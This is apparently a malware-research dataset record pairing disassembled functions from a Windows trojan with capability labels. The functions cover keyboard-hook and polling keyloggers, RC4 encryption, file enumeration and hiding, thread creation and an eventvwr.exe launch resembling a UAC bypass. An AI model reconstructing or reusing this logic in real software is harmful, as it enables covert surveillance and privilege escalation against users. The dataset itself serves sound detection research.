joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404db8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
and dword [ebp - 8], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x28]
push edi
mov dword [ebp - 0x10], esi
and dword [esi + 0x54], 0
call fcn.004020c7
mov edi, dword [ebp + 8]
lea eax, [esi + 0x58]
push eax
lea eax, [ebp - 8]
mov ecx, edi
push eax
call fcn.00401f87
push eax
mov ecx, esi
call fcn.00404fef
test al, al
je 0x404f07
movzx eax, byte [esi + 0x30]
mov ecx, edi
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
add ebx, eax
call fcn.0040247b
cmp ebx, eax
jbe 0x404e2b
mov ecx, edi
mov bl, 1
call fcn.0040247b
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
add ecx, dword [ebp - 8]
mov edi, dword [ebp + 8]
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x404e2d
xor bl, bl
test bl, bl
jne 0x404f07
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 0x40]
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
call fcn.00404287
push eax
lea ecx, [ebp - 0x28]
call fcn.00401fc3
lea ecx, [ebp - 0x40]
call fcn.00401fb9
push dword [ebp - 8]
lea eax, [ebp - 0x40]
push 0
push eax
lea ecx, [ebp - 0x28]
call fcn.00404287
push eax
lea ecx, [ebp - 0x28]
call fcn.00401fc3
lea ecx, [ebp - 0x40]
call fcn.00401fb9
cmp byte [ebp + 0x10], 0
lea eax, [ebp - 0x28]
jne 0x404e96
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020de
push esi
call dword [ebp + 0xc]
add esp, 0x1c
jmp 0x404ed2
push eax
lea ecx, [esi + 0xc]
call fcn.00401f9f
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [ebp + 0xc]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov ecx, edi
push 0xffffffffffffffff
add eax, ebx
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.00404287
push eax
mov ecx, edi
call fcn.00401fc3
lea ecx, [ebp - 0x40]
call fcn.00401fb9
mov ecx, edi
call fcn.0040247b
test eax, eax
lea eax, [esi + 0x58]
jne 0x404ddc
lea ecx, [ebp - 0x28]
call fcn.00401fb9
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x405038
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x4050d1
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x40505b
mov byte [esi + 0x7c], 1
jmp 0x4050a7
cmp byte [0x46daf7], 0
je 0x4050a7
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.00417c16
sub esp, 0x18
mov edx, str.Connection_KeepAlive___Enabled__Timeout:
mov ecx, esp
push eax
call fcn.004053f2
sub esp, 0x14
mov ecx, esp
push 0x460638
call fcn.00402076
call fcn.00417670
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00401fb9
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x405237
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x4050d3
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x405c40
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x4671c0]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x405c4c
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x405c90
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x405c6d
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x405caf
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
xor edx, edx
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x400]
mov ecx, 0x100
mov ebx, edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0xc]
mov edi, edx
add esi, 1
je 0x405d47
inc edx
and edx, 0x800000ff
jns 0x405ce9
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [ebp + edx*4 - 0x400]
add ebx, eax
and ebx, 0x800000ff
jns 0x405d02
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, al
mov eax, dword [ebp + ebx*4 - 0x400]
mov dword [ebp + edx*4 - 0x400], eax
movzx eax, cl
mov dword [ebp + ebx*4 - 0x400], eax
mov ecx, dword [ebp + edx*4 - 0x400]
add ecx, eax
and ecx, 0x800000ff
jns 0x405d35
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ebp + ecx*4 - 0x400]
mov ecx, dword [ebp + 8]
xor byte [edi + ecx], al
inc edi
cmp edi, esi
jb 0x405cd8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x406114
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
cmp dword [0x46c9c0], 0
push esi
je 0x40612c
xor eax, eax
inc eax
jmp 0x406209
call fcn.004062b2
cmp eax, 0x3a9f
jge 0x406209
push ecx
push 0x460734
push 0x460778
mov edx, connect
lea ecx, [ebp - 0x18]
call fcn.00410911
pop ecx
pop ecx
mov esi, 0x46e5f0
mov ecx, esi
call fcn.0040247b
push eax
mov ecx, esi
call fcn.00401f87
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247b
inc eax
lea ecx, [ebp - 0x18]
push eax
call fcn.00401f87
push eax
push str.origmsc
mov ecx, 0x46e5a8
call fcn.00401f87
mov edx, eax
call fcn.00410caf
add esp, 0x18
push 2
sub esp, 0x18
mov ecx, esp
push 0x46daf8
call fcn.00404260
mov esi, 0x46079c
mov edx, 0x4607a0
push esi
mov ecx, connect
call fcn.00410b7b
push str.eventvwr.exe
mov dl, 0x34
lea ecx, [ebp - 0x30]
call fcn.004189ff
add esp, 0x24
lea ecx, [ebp - 0x30]
push 0
push esi
push esi
call fcn.00401edd
push eax
push 0x46075c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jbe 0x4061f6
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x30]
call fcn.00401ee2
lea ecx, [ebp - 0x18]
call fcn.00401fb9
push 2
pop eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x406360
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
lea eax, [ebp - 0x298]
lea ecx, [ebp + 8]
push ebx
push esi
push eax
call fcn.00401edd
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4063a6
sub esp, 0x18
lea edx, [ebp + 8]
mov ecx, esp
call fcn.00417d8c
push 0x54
mov ecx, 0x46e318
call fcn.00404bb7
jmp 0x406467
lea ecx, [ebp - 0x18]
call fcn.004020c7
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x30]
call fcn.00404260
mov edx, 0x460878
mov ecx, eax
call fcn.00407647
lea ecx, [ebp - 0x30]
mov bl, al
call fcn.00401ee2
test bl, bl
je 0x406433
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040209d
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fc3
lea ecx, [ebp - 0x30]
jmp 0x40642e
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x48]
call fcn.0040209d
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00407653
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fc3
lea ecx, [ebp - 0x30]
call fcn.00401fb9
lea ecx, [ebp - 0x48]
call fcn.00401fb9
lea eax, [ebp - 0x298]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4063f9
sub esp, 0x18
lea eax, [ebp - 0x18]
mov ecx, esp
push eax
call fcn.004020de
push 0x50
mov ecx, 0x46e318
call fcn.00404bb7
lea ecx, [ebp - 0x18]
call fcn.00401fb9
lea ecx, [ebp + 8]
call fcn.00401ee2
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406475
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186ec
call fcn.00451ed0
push ebx
push esi
mov esi, ecx
lea edx, [ebp + 0x10]
push edi
xorps xmm0, xmm0
mov dword [ebp - 0xc], esi
xor ebx, ebx
movlpd qword [ebp - 8], xmm0
push 0x46087c
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], ebx
call fcn.00407677
pop ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040330c
lea ecx, [ebp - 0x44]
call fcn.00401ee2
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [ebp - 0x2c]
call fcn.00401edd
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], ecx
ja 0x40654f
mov edi, dword [ebp + 8]
jb 0x4064e9
cmp dword [ebp - 8], edi
jae 0x40654f
push ecx
push 0x186a0
lea eax, [ebp - 0x186e8]
mov ecx, esi
push eax
call fcn.00404c83
mov esi, eax
cdq
add dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push ebx
adc dword [ebp - 4], edx
push eax
push esi
lea eax, [ebp - 0x186e8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [ebp - 8]
mov ecx, esp
push 8
push eax
call fcn.0040209d
mov ecx, dword [ebp - 0xc]
push 0x57
call fcn.00404bb7
test esi, esi
jle 0x406589
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp - 0xc]
cmp dword [ebp - 4], eax
jb 0x4064e9
ja 0x40654c
cmp dword [ebp - 8], edi
jb 0x4064e9
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 0x10]
call fcn.00401edd
push eax
lea ecx, [ebp - 0x2c]
call fcn.00401edd
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [ebp - 0x2c]
call fcn.00401ee2
lea ecx, [ebp + 0x10]
call fcn.00401ee2
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x2c]
call fcn.00401edd
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x406570

Function at 0x4065a3
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004020c7
lea ecx, [ebp + 8]
call fcn.00401f87
mov edi, eax
jmp 0x40662a
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.0043cda6
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402076
mov ecx, eax
call fcn.00401f87
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.004076df
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00407723
pop ecx
push eax
mov ecx, esi
call fcn.00401fc3
lea ecx, [ebp - 0x1c]
call fcn.00401fb9
lea ecx, [ebp - 0x34]
call fcn.00401fb9
lea ecx, [ebp - 0x4c]
call fcn.00401fb9
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x4065be
lea ecx, [ebp + 8]
call fcn.00401fb9
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4085c0
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
lea eax, [ebp + 8]
add ecx, 0x90
push eax
call fcn.00401f9f
xor eax, eax
mov byte [ebp - 0xc], al
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov ebx, 0x46e460
mov ecx, ebx
call fcn.00404943
push ecx
mov ecx, ebx
call fcn.004049de
mov edi, 0x46e3a4
push 0x12
mov ecx, edi
call fcn.00401e3b
mov ecx, eax
call fcn.00401f87
push 0x2a
mov ecx, edi
mov esi, eax
call fcn.00401e3b
sub esp, 0x18
mov ebx, 0x46e250
mov edi, esp
mov ecx, 0x46e410
push eax
push ebx
lea eax, [ebp + 8]
push eax
push ebx
call fcn.00401edd
mov ecx, eax
call fcn.00418473
mov edx, eax
lea ecx, [ebp - 0x114]
call fcn.00417c16
mov edx, dword [0x46e458]
lea ecx, [ebp - 0xfc]
push eax
push ebx
call fcn.00417c16
push eax
movzx eax, byte [esi]
lea edx, [ebp - 0xc]
push ebx
push eax
push ebx
lea ecx, [ebp - 0xe4]
call fcn.00405416
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.00407723
pop ecx
mov edx, eax
lea ecx, [ebp - 0xb4]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x9c]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x84]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x54]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3c]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00402f85
pop ecx
mov edx, eax
mov ecx, edi
call fcn.00402f85
pop ecx
push 0x12
mov ecx, 0x46e460
call fcn.00404bb7
lea ecx, [ebp - 0x24]
mov esi, eax
call fcn.00401fb9
lea ecx, [ebp - 0x3c]
call fcn.00401fb9
lea ecx, [ebp - 0x54]
call fcn.00401fb9
lea ecx, [ebp - 0x6c]
call fcn.00401fb9
lea ecx, [ebp - 0x84]
call fcn.00401fb9
lea ecx, [ebp - 0x9c]
call fcn.00401fb9
lea ecx, [ebp - 0xb4]
call fcn.00401fb9
lea ecx, [ebp - 0xcc]
call fcn.00401fb9
lea ecx, [ebp - 0xe4]
call fcn.00401fb9
lea ecx, [ebp - 0xfc]
call fcn.00401fb9
lea ecx, [ebp - 0x114]
call fcn.00401fb9
lea ecx, [ebp + 8]
call fcn.00401fb9
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x408778
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x60]
mov byte [esi + 0x49], 1
call fcn.00409e07
cmp byte [0x46c9c4], 0x32
mov edi, str.Offline_Keylogger_Started
je 0x4087cc
push edi
lea ecx, [esp + 0x14]
call fcn.00402076
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.00417cca
mov ecx, esi
call fcn.0040964b
lea ecx, [esp + 0x10]
call fcn.00401fb9
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402076
sub esp, 0x18
mov ecx, esp
push 0x460638
call fcn.00402076
call fcn.00417670
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x408881
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x408812
push ebx
push ebx
push esi
push 0x408866
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x408890
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00401ee2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x40882f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, [ebp + 8]
push eax
lea ecx, [esi + 0x60]
call fcn.00409e07
cmp byte [esi + 0x49], 0
jne 0x408859
xor eax, eax
push eax
push eax
push esi
push 0x408875
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp + 8]
call fcn.00401ee2
pop esi
pop ebp
ret 0x18

Function at 0x4088c8
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x46dae4], esi
cmp dword [esi], edi
jne 0x408943
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x4088b1
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x408943
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.00417c16
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.004053f2
sub esp, 0x14
mov ecx, esp
push 0x460568
call fcn.00402076
call fcn.00417670
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00401fb9
xor eax, eax
inc eax
jmp 0x408971
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40896f
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x408943
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4089f0
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
push 0x100
lea eax, [ebp - 0x124]
mov ebx, ecx
push 0
push eax
call fcn.00432d80
add esp, 0xc
lea edi, [ebp - 0x22]
xor eax, eax
mov word [ebp - 0x24], ax
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
mov esi, eax
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
push 0
push 0x10
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x124]
push eax
push dword [ebx + 0x50]
push dword [ebx + 0x4c]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
call fcn.00404260
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x408bf6
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x46e458]
or eax, dword [0x46e45c]
push ebx
push esi
push edi
mov esi, ecx
je 0x408ca3
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push connect
mov ecx, 0x46e410
call fcn.00401edd
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x408c77
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp ebx, dword [0x46e45c]
jb 0x408c6e
ja 0x408c53
cmp eax, dword [0x46e458]
jb 0x408c6e
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x408c63
mov ecx, esi
call fcn.004095c0
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x408c7a
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x408c11
cmp byte [esi + 0x49], bl
jne 0x408ca3
cmp byte [0x46c9c4], 0x31
jne 0x408ca3
sub esp, 0x18
lea eax, [esi + 0x60]
mov ecx, esp
push eax
call fcn.004074b3
mov ecx, esi
call fcn.00408778
pop edi
pop esi
pop ebx
ret
Function at 0x408ca7
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x464
push ebx
mov ebx, ecx
push esi
push edi
lea esi, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebx
call fcn.00408bf6
mov edx, 0x46079c
mov ecx, esi
call fcn.00407647
test al, al
je 0x408ec1
mov ecx, 0x46e428
call fcn.00409dea
test al, al
jne 0x408d02
push 0
mov ecx, 0x46e428
call fcn.00401edd
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx + 0x60]
mov ecx, edi
call fcn.00401edd
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x408d2a
push 0x80
mov ecx, edi
call fcn.00401edd
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x12
mov ecx, 0x46e3a4
call fcn.00401e3b
mov ecx, eax
call fcn.00401f87
cmp byte [eax], 0
jne 0x408d6f
push 1
mov ecx, edi
call fcn.00401edd
push eax
mov ecx, esi
call fcn.0040247b
mov esi, eax
lea ecx, [ebx + 4]
add esi, esi
call fcn.00401edd
mov edx, esi
mov ecx, eax
call fcn.00418337
pop ecx
pop ecx
jmp 0x408e8a
lea ecx, [esp + 0x10]
call fcn.004020c7
mov ecx, 0x46e5f0
call fcn.0040247b
push eax
mov ecx, 0x46e5f0
call fcn.00401f87
push eax
lea ecx, [esp + 0x78]
call fcn.00405c28
mov ecx, edi
call fcn.00401edd
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x408e06
lea ecx, [esp + 0x28]
call fcn.004020c7
mov ecx, edi
call fcn.00401edd
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.004183cc
test al, al
je 0x408dfd
lea ecx, [esp + 0x28]
call fcn.0040247b
push eax
lea ecx, [esp + 0x2c]
call fcn.00401f87
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.00405d50
push eax
lea ecx, [esp + 0x14]
call fcn.00401fc3
lea ecx, [esp + 0x40]
call fcn.00401fb9
lea ecx, [esp + 0x28]
call fcn.00401fb9
mov ecx, esi
call fcn.0040247b
add eax, eax
mov ecx, esi
push eax
call fcn.00401edd
push eax
lea ecx, [esp + 0x48]
call fcn.0040209d
push eax
lea ecx, [esp + 0x14]
call fcn.00403428
lea ecx, [esp + 0x40]
call fcn.00401fb9
lea ecx, [esp + 0x10]
call fcn.0040247b
push eax
lea ecx, [esp + 0x14]
call fcn.00401f87
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.00405d50
mov ecx, edi
call fcn.00401edd
sub esp, 0x18
mov esi, eax
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.004020de
mov ecx, esi
call fcn.0041843e
add esp, 0x18
lea ecx, [esp + 0x58]
call fcn.00401fb9
lea ecx, [esp + 0x10]
call fcn.00401fb9
lea esi, [ebx + 4]
push 0x46079c
mov ecx, esi
call fcn.00409dfe
push 0x13
mov ecx, 0x46e3a4
call fcn.00401e3b
mov ecx, eax
call fcn.00401f87
cmp byte [eax], 0
je 0x408ec1
push 6
mov ecx, edi
call fcn.00401edd
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x408cbb
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4091ba
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x49], 0
jne 0x4091d8
cmp byte [edi + 0x4a], 0
je 0x4093c9
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x46fe98]
cmp eax, dword [ecx + 4]
jle 0x409222
push 0x46fe98
call fcn.0042fe69
cmp dword [0x46fe98], 0xffffffff
pop ecx
jne 0x409222
mov ecx, 0x46fe9c
call fcn.00401f5f
push 0x453981
call fcn.004301f3
mov dword [esp], 0x46fe98
call fcn.0042fe2a
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.00409e21
test esi, esi
je 0x4092f7
lea ecx, [esp + 0x20]
call fcn.0040247b
push eax
lea ecx, [esp + 0x24]
call fcn.00401edd
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x46fe9c
lea ecx, [esp + 0x20]
call fcn.00409ee1
test al, al
jne 0x4092f7
lea eax, [esp + 0x20]
mov ecx, 0x46fe9c
push eax
call fcn.00409e07
lea ecx, [esp + 0x20]
call fcn.0040247b
dec eax
lea ecx, [esp + 0x20]
push eax
call fcn.004074a2
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0x46e3fb], 0
je 0x4092c6
mov ecx, esp
push eax
call fcn.004074b3
mov ecx, edi
call fcn.0040964b
jmp 0x4092f7
mov esi, esp
lea ecx, [esp + 0x50]
push 0x460a1c
push eax
mov edx, 0x460a24
call fcn.00409e9e
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403098
pop ecx
mov ecx, edi
call fcn.00408bb6
lea ecx, [esp + 0x38]
call fcn.00401ee2
mov ecx, edi
call fcn.00409c4a
call fcn.00417bc6
mov esi, 0xea60
cmp eax, esi
jb 0x4093b2
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0x409324
cmp byte [edi + 0x4a], 0
je 0x4093c0
call fcn.00417bc6
cmp eax, esi
jb 0x409340
mov ebx, eax
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x409314
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.0043cda6
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x68]
push str._minutes__r_n
push eax
call fcn.00402076
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x58]
call fcn.004053f2
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.004076bb
sub esp, 0x14
mov edx, eax
mov ecx, esp
call fcn.00417cca
mov ecx, edi
call fcn.00408bb6
lea ecx, [esp + 0x38]
call fcn.00401fb9
lea ecx, [esp + 0x50]
call fcn.00401fb9
lea ecx, [esp + 0x68]
call fcn.00401fb9
lea ecx, [esp + 0x20]
call fcn.00401ee2
jmp 0x4091c8
lea ecx, [esp + 0x20]
call fcn.00401ee2
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret